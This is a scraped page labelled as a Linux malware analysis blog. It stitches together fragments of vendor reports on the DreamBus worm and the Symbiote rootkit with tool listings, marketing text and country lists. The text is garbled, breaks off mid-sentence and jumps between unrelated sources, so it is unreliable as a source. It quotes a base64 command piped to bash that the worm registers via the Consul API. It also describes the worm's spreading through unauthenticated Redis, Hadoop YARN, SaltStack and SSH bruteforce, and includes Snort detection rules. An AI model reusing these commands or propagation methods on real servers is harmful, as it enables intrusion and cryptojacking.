linux malware analysis blog
These include vulnerabilities, misconfigurations and security gaps, and malware. Note that this requires the Redis server to have write permissions in the. "pools": [
"argon2-impl": null,
The second file named ssh is another ELF binary based on the open source tool sshpass that is designed to automate SSH authentication and shell script execution. The DreamBus malware exhibits worm-like behavior that is highly effective in spreading due its multifaceted approach to propagating itself across the internet and laterally through an internal network using a variety of methods. In all cases, the filtering operates on both inbound and outbound traffic from the machine, to hide both directions of the traffic. When the malware detects this, it executes the loader as ldd does, but it scrubs its own entry from the result. The source code has been modified in several places including the supported command-line arguments to the following: All second-stage DreamBus plugins, including the SSH bruteforce module, create a lock file named 22 in the lock file directory /tmp/.X11-unix/. This means that more than half of the Cobalt Strike users are using illegitimately obtained versions of the commercial software. Linux malware analysis tools - Linux Security Expert Ransomware targeting Linux-based systems is becoming more sophisticated. The cron job will be created in one of the following locations: The cron will execute a shell script that will download an updated copy of the DreamBus malware over TOR. Step 4: Start the REMnux Virtual Machine. This report analyzes six remote access tools used by threat actors. Industroyer2: Industroyer reloaded | WeLiveSecurity However, ransomware targeting Linux-based systems has recently evolved to target host images and require dynamic analysis and host monitoring. An example hardcoded configuration is shown below: The threat actor behind DreamBus is likely located in or near Russia based on the time when new commands are pushed out. Most of the modules scan the ranges listed in the DreamBus Scanning Behavior section of this report. The beta of Red Hat Insights malware detection service is now available. In part 1 of this series, we warmed up and aligned with basic computing On 21 July, 2022, we released a blog post about a new malware called New: Connect Microsoft Defender with Intezer's Autonomous SOC solution, 5 Key Factors for Selecting a Managed Detection and Response (MDR) Provider, Endpoint Forensics and Memory Analysis, Simplified, Phishing Campaign Targets Chinese Nuclear Energy Industry, How Hackers Use Binary Padding to Outsmart Sandboxes and Infiltrate Your Systems, Malware Reverse Engineering for Beginners Part 2, Detection Rules for Lightning Framework (and How to Make Them With Osquery), effectiveness of code reuse analysis vs. signature-based detection for detecting this malware. The process names in the list below were extracted from the samples we have discovered. Linux Malware Sample Archive including various types of malicious ELF binaries and viruses. This site uses JavaScript to provide a number of functions, to use this site please enable JavaScript in your browser. We have aptly named this malware Symbiote. It hooks the functions pcap_loop and pcap_stats to accomplish this task. Please give the Insights malware detection service a try soon! PDF Understanding Linux Malware - reyammer Understanding Linux Malware | IEEE Conference Publication - IEEE Xplore These bytes are representative of the ZeroMQ protocol that is used by SaltStack. For now, try these. module with several differences between them, such as code that sets the calling thread name, and the internet ranges and port numbers that are scanned. Since then, weve published a blog post which discusses the effectiveness of code reuse analysis vs. signature-based detection for detecting this malware and other Linux threats. by sending the following HTTP PUT request to the Consul API: /v1/agent/service/deregister/systemd-service, "echo WFJBTkRPTQpleGVjICY+L2Rldi[snip]UvZGVyZWdpc3Rlci9zeXN0ZW1kLXNlcnZpY2U7ZG9uZQpjb25zdWwgc2VydmljZXMgZGVyZWdpc3RlciAtaWQ9c3lzdGVtZC1zZXJ2aWNlCg==|base64 -d|bash", This registration command will register a service named, /v1/agent/service/deregister/systemd-service;done, The DreamBus Consul module will then send three subsequent HTTP PUT requests to register the same service, but with a few slight variations of the command parameters using the, The third registration request is identical to the first registration request, but the module replaces the, The fourth registration request is identical to the second registration request, with the, After sending these four registration requests, the DreamBus Consul module will call the. If the expected response condition is met, the DreamBus module will then attempt to remove a service named. In addition to storing the credentials locally, the credentials are exfiltrated. RepublicEast Timor (Timor-Leste)EcuadorEgyptEl SalvadorEquatorial GuineaEritreaEstoniaEthiopiaFijiFinlandFranceGabonGambiaGeorgiaGermanyGhanaGibraltarGreeceGrenadaGuatemalaGuineaGuinea-BissauGuyanaHaitiHondurasHong The DreamBus Hadoop module uses built-in YARN functionality to execute arbitrary commands via Hadoop's ResourceManager REST API when authentication has not been configured. If it finds a match, the malware ignores the packet and increments a counter. Linux malware: How to protect yourself | NordVPN This method is used to filter out UDP packets, while the bytecode method is used to filter out TCP packets. REMnux provides a curated collection of free tools created by the community. Kobalos - A complex Linux threat to high performance computing There are some similarities in the techniques used by both malware families. The auth command is only used by the authentication module, and the path on the web server to download and execute the second-stage shell script has the filename 0 (for the authentication module) versus 0l (for the module that spreads without authentication). The tool can perform a set of tests against a malware sample and retrieve metadata from it. "cn/0": false,
The DreamBus function sockz() uses DNS over HTTP to resolve IP addresses for the domain name relay.tor2socks.in. Shodan estimated that approximately 56,000 Redis servers were misconfigured with no authentication required, and Imperva estimated that nearly 75 percent of open Redis instances had been compromised. They also constantly hone their malware's resilience against detection. This is intended to disguise the DreamBus modules and make them appear to be legitimate (since many modules are downloaded with pseudo-randomly generated filenames). When it comes to protecting multi-cloud environments, it starts with complete visibility into all workloads with detailed system context that makes it easier to understand and prioritize mitigation efforts. data-mining weka elf malware-analysis linux-malware malware-detection Updated Jan 6, 2019; . People's Republic of(North Korea)Korea, Republic ofKosovoKuwaitKyrgyzstanLao People's Democratic RepublicLatviaLebanonLesothoLiberiaLibyaLiechtensteinLithuaniaLuxembourgMacauMacedonia, Rep. ofMadagascarMalawiMalaysiaMaldivesMaliMaltaMarshall IslandsMauritaniaMauritiusMexicoMicronesia, Federal States ofMoldova, Republic Lenny Zeltser, the founder and primary maintainer of REMnux, is also the primary author of this course. Symbiote also has functionality to hide network activity on the infected machine. The magic bytes UPX! It will then check for the response OK. from the Redis server to determine whether authentication was successful. A few months back, we discovered a new, undetected Linux malware that acts in this parasitic nature. Linux is used broadly and the threat is both real and emerging. The current monetization vector for DreamBus is through mining a cryptocurrency known as Monero (XMR), which is a popular alternative to Bitcoin due to its improvements in anonymity. This report analyzes nine ransomware families that target Linux-based systems and characterize their evolution. At the time of publication, Zscaler ThreatLabZ has observed modules designed to spread through SSH, PostgreSQL, Redis, Hadoop YARN, Apache Spark, HashiCorp Consul, and SaltStack. Its not quite clear why the malware author chose to use this as a flag for detecting a HashiCorp Consul instance, since this is likely to result in many false positives. Within the binary, there is a file list that is RC4 encrypted. The XMRig module is compiled regularly with the most recent version, XMRig 6.7.1, built on January 15, 2021. Like the other Insights services, malware detection is included in your RHEL subscription. The function then attempts to use the yum and apt package managers to install and enable the cron service, and uninstall aegis and qcloud. Given that these files were submitted to VirusTotal prior to the infrastructure going online, and because some of the samples included rules to hide local IP addresses, it is possible that the samples were submitted to VirusTotal to test antivirus (AV) detection before being used. Additionally, a version that appears to be under development was submitted at the end of November from Brazil, further suggesting VirusTotal was being used by the threat actor or group behind Symbiote for detection testing. Winnti and Lazarus are just a few examples of APT groups that have recently been documented using ELF in their malware toolset. In this blog, we examine the behavior of these two AvosLocker Ransomware in detail. The DreamBus spreader module contains seven shell scripts that are responsible for performing various actions. When we first analyzed the samples with Intezer Analyze, only unique code was detected (Figure 5). The most recent DreamBus module observed by Zscaler ThreatLabZ targets. The tool pnscan used by DreamBus to scan for SSH servers on the local network, The tool sshpass for bruteforcing SSH passwords, List of passwords to use for SSH bruteforce, Table 3. "print-time": 60,
However, this behavior is considered to be a feature by PostgreSQL developers. Symbiote is very stealthy. Finally, the files e.py (the Python-based exploit script), x.pa (the temporary cron job), x.pe (the main Base64 encoded shell script), and x.px (main spreader module script) are deleted to hide the exploitation. The pnscan tool ss is then used to scan the internal subnets for online SSH servers and saved to a file named ip. More of the latest from Zscaler, coming your way soon! DreamBus has a modular design with regular deployment of new modules and updates. In part 1 of this series, we warmed up and aligned with basic computing terminologies. On 21 July, 2022, we released a blog post about a new malware called Lightning What is binary padding? At the time of publication, Zscaler ThreatLabZ has observed modules designed to spread through SSH, PostgreSQL, Redis, Hadoop YARN, Apache Spark, HashiCorp Consul, and SaltStack. However, many critical business systems run on Linux systems, and malware that is able to gain access to these systems can cause significant disruption and irreparable harm to organizations that fail to secure their servers properly. This module is also downloaded over HTTP whenever an exploitation attempt is successful, typically through a number of hardcoded TOR domains. . The first sends an HTTP POST request to the target server as shown below using wget: The response is parsed for the application ID and stored in the app_idvariable, which is required in the next request. "syslog": false,
"self-select": null
If the calling application is not trying to access something under /proc, the malware instead scrubs the result from a file list. Many of the DreamBus modules are poorly detected by security products. This has made Linux platform the target for malware attacks, so it becomes important to analyze the Linux malwares. Symbiote is not the first Linux malware developed for this goal. VMware Threat Report - Exposing Malware in Linux-Based - VMware Blogs This malware was reported mainly targeting Windows. Distinct characteristics of large-scale ransomware attacks include targeted cloud deployments and are often paired with data exfiltration, making their assaults double pronged. If this fails, it will try to use an HTTP TOR proxy using one of the following services prepended with the hardcoded TOR domain. The file was identified as an open-source DNS tunneling tool called dnscat2. The image below shows a summary of the malwares evasions. Each DreamBus ELF binary is packed by, with a modified header and footer. This is in part because Linux-based malware is less common than Windows-based malware, and thus receives less scrutiny from the security community. This allows DreamBus to establish persistence on the compromised SaltStack server. Linux is the predominant operating system for Web servers, IoT, supercomputers, and the public cloud workload. Industroyer2 was deployed as a single Windows executable named 108_100.exe and executed using a scheduled task on 2022-04-08 at 16:10:00 UTC. Most PostgreSQL modules use the standard tracepath naming convention mentioned earlier. Transform your organization with 100% cloud native services, Propel your business with zero trust solutions that secure and connect your resources. Its crucial that security researchers have the ability to analyze and understand Linux malware as part of their evolving skillset. If the password is able to be guessed, the Redis module sends the following commands: Another version of the Redis module exploits systems that do not require authentication. $ = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler TROJAN DreamBus Command Request"; flow:established,to_server; content:"GET"; http_method; content:"/cmd"; http_uri; content:"User-Agent: -"; http_header; classtype:trojan-activity; rev:1;), alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler TROJAN DreamBus Command Request"; flow:established,to_server; content:"GET"; http_method; content:"/trc"; http_uri; content:"User-Agent: -"; http_header; classtype:trojan-activity; rev:1;), alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler TROJAN DreamBus Beacon Request"; flow:established,to_server; content:"GET"; http_method; content:"/bot"; http_uri; content:"User-Agent: -"; http_header; classtype:trojan-activity; rev:1;), alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler TROJAN DreamBus XMRig Request"; flow:established,to_server; content:"GET"; http_method; content:"/cpu"; http_uri; content:"User-Agent: -"; http_header; classtype:trojan-activity; rev:1;), This exploit was originally described by F-Secure, Threading the needle on innovation and security with ChatGPT, Make generative AI tools like ChatGPT safe and secure with Zscaler, Coverage Advisory for 3CX Supply Chain Attack. Core of LiSa project supports 4 basic modules of analysis: static_analysis, dynamic_analysis, network_analysis and virustotal. It then attempts to execute the file and delete it. The SSH bruteforce module is delivered as a shell script that contains commands to download and extract a tar archive file named sshd into the directory /tmp/.X11-unix/sshd. Mirai is a DDoS botnet whose source code was released to the wild and many botnets variants are now based on this code. Also, we will present useful analysis tools and practice malware analysis hands on. Please note: Due to the potentially sensitive nature of this information, only Organizational Admins have default access to the results. Another is a Network Detection and Response (NDR), that can recognize network-based evidence of attacks and block the malware before it can take hold of its target. Skidmap Malware Uses Rootkit to Hide Mining Payload - Trend Micro It uses three different methods to accomplish this. This has made Linux platform the target for malware attacks, so it becomes important to analyze the Linux malware. Coming Up All versions of the DreamBus PostgreSQL modules spread by scanning the RFC 1918 private networks for, servers running on port 5432. In this process, Symbiote adds its bytecode first so it can filter out network traffic that it doesnt want the packet-capturing software to see. Since the hooks are in PAM, it allows the threat actor to authenticate to the machine with any service that uses PAM. Prior to this role, Avigayil was part of Intezer's research team and specialized in malware analysis and threat hunting. This becomes increasingly problematic with the growth of networkable embedded devices often referred to as the Internet. Along with sending the request to the domain name, Symbiote also sends it as a UDP broadcast. Offer details. Malware detection supports RHEL 7 Server / Workstation and RHEL 8 and 9 hosts. with the malware dating back to early 2019. Once extracted, there are three components, as shown in Table 3. The script attempts to move laterally within a private internal network by first enumerating the systems network adapters and searching for regexes that loosely match RFC 1918 IP address ranges. The module exploits CVE-2020-11651, which is an authentication bypass that results in full remote command execution as root. YARN is the resource management and job scheduling/monitoring component of the open source Apache Hadoop distributed processing framework. The module then scans for SaltStack servers on port 4506 on private subnets and the internet ranges 1.0.0.0/8 222.0.0.0/8. variables to dummy values to hide its modifications. Otherwise, the module scans RFC 1918 private subnets and the internet ranges previously mentioned on port 8088. Malware Forensics Field Guide for Linux Systems - 1st Edition - Elsevier Monero cryptocurrency (XMR) is the most popular illicitly mined digital coin of rising cryptojacking attacks on Linux-based systems. Once the attackers have obtained a foothold in their target cloud environment, they often look to perform two types of attacks: execute ransomware or deploy cryptomining components. "api": {
Limon is a sandbox [] Skip to content Training Meetups Meetup Talks Videos Articles Mentorship Tools Events Upcoming Past In the past five years, Linux has become the most common operating system (OS) in multi-cloud environments and powers more than. Linux powers many cloud infrastructures today. Figure 3 illustrates this scanning process. Ransomware targeting Linux-based systems is becoming more sophisticated. Now a new variant of AvosLocker malware is also targeting Linux environments. Leave the SOC grunt work to Intezer. In the next article we will review the ELF format, its static artifacts, and explain how to practically leverage them in your malware analysis together with useful tools. We reverse engineered this small, yet complex, malware that is portable to many operating systems including Linux, BSD, Solaris, and possibly AIX and Windows. When an administrator starts any packet capture tool on the infected machine, BPF bytecode is injected into the kernel that defines which packets should be captured. When the shell command is decoded and executed, it will download the main DreamBus spreader module using the path /hdl.
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